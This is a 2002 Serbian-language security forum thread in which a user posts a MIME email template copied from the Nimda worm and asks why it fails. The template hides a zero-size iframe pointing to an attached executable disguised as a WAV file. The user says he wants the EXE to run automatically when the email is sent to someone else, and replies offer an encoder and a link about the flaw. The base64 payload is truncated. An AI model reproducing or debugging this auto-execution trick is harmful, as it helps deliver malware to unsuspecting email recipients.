Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

Sta ne valja u ovom scriptu?

[es] :: Zaštita :: Sta ne valja u ovom scriptu?

[ Pregleda: 3631 | Odgovora: 3 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

Krajisnik
Beograd

Član broj: 2306
Poruke: 294
*.beotel.net



Profil

icon Sta ne valja u ovom scriptu?01.06.2002. u 23:45 - pre 265 meseci
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====_ABC1234567890DEF_===="
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1

--====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
boundary="====_ABC0987654321DEF_===="

--====_ABC0987654321DEF_====
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
</iframe></BODY></HTML>
--====_ABC0987654321DEF_====--

--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="proba.exe"
Content-Transfer-Encoding: base64
POCETAK EXE FAJLA
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAADfIGMPm0ENXJtBDVybQQ1cm0ENXJhBDVybQQxcGUENXPleHlyUQQ1cc14H
XJZBDVwjRwtcmkENXFJpY2ibQQ1cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBBAAvBiU7
AAAAAAAAAADgAA8BCwEGAABiAAAAtAAAAAAAAFFHAAAAEAAAAIAAAAAAQAAAEAAAAAIAAAQAAAAA
itd...

Content-ID: <EA4DMGBP9p>
Sale_®
 
Odgovor na temu

InsurrectoR

Član broj: 29
Poruke: 270



Profil

icon Re: Sta ne valja u ovom scriptu?02.06.2002. u 17:33 - pre 265 meseci
Citat:
Krajisnik:
--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="proba.exe"
Content-Transfer-Encoding: base64
POCETAK EXE FAJLA
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAADfIGMPm0ENXJtBDVybQQ1cm0ENXJhBDVybQQxcGUENXPleHlyUQQ1cc14H
XJZBDVwjRwtcmkENXFJpY2ibQQ1cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBBAAvBiU7
AAAAAAAAAADgAA8BCwEGAABiAAAAtAAAAAAAAFFHAAAAEAAAAIAAAAAAQAAAEAAAAAIAAAQAAAAA
itd...

Content-ID: <EA4DMGBP9p>


Nista, sve je u redu sa njim!
U pitanju je MIME base64 encoding.
Uz poruku ti saljem MIME Encoder/Decoder
Prikačeni fajlovi
 
Odgovor na temu

Krajisnik
Beograd

Član broj: 2306
Poruke: 294
*.beotel.net



Profil

icon Re: Sta ne valja u ovom scriptu?02.06.2002. u 19:28 - pre 265 meseci
Ono gore mi je dao SEH kao izvadak iz "Nimde", i trebalo bi da kad se sejvuje kao EML i posalje nekom da se taj attachovani EXE fajl automatski pokrene ali jok... Prekopirao sam ono od "POCETAK EXE FAJLA" do "itd." iz jednog mog emaila, pejstovao ga u script i zatim sam poslao taj email samom sebi ali EXE fajl se nije pokrenuo... Znaci nesto ne stima u scriptu. Mozda fali ovaj deo:
Content-Disposition: attachment;
filename="readme.exe"
ili je mozda ovaj Content ID univerzalan za svaki exe??? Samo nagadjam, ali sigurno postoji greska cim nece da se pokrene...
Sale_®
 
Odgovor na temu

InsurrectoR

Član broj: 29
Poruke: 270



Profil

icon Re: Sta ne valja u ovom scriptu?06.06.2002. u 02:46 - pre 265 meseci
Nisam siguran hoce li ti pomoci ali pogledaj www.malware.com
Ukoliko "to" vise nije glavna tema kada budes gledao ovaj sajt, sa leve strane imas meni i tamo nadji topic Security Flaw?
 
Odgovor na temu

[es] :: Zaštita :: Sta ne valja u ovom scriptu?

[ Pregleda: 3631 | Odgovora: 3 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.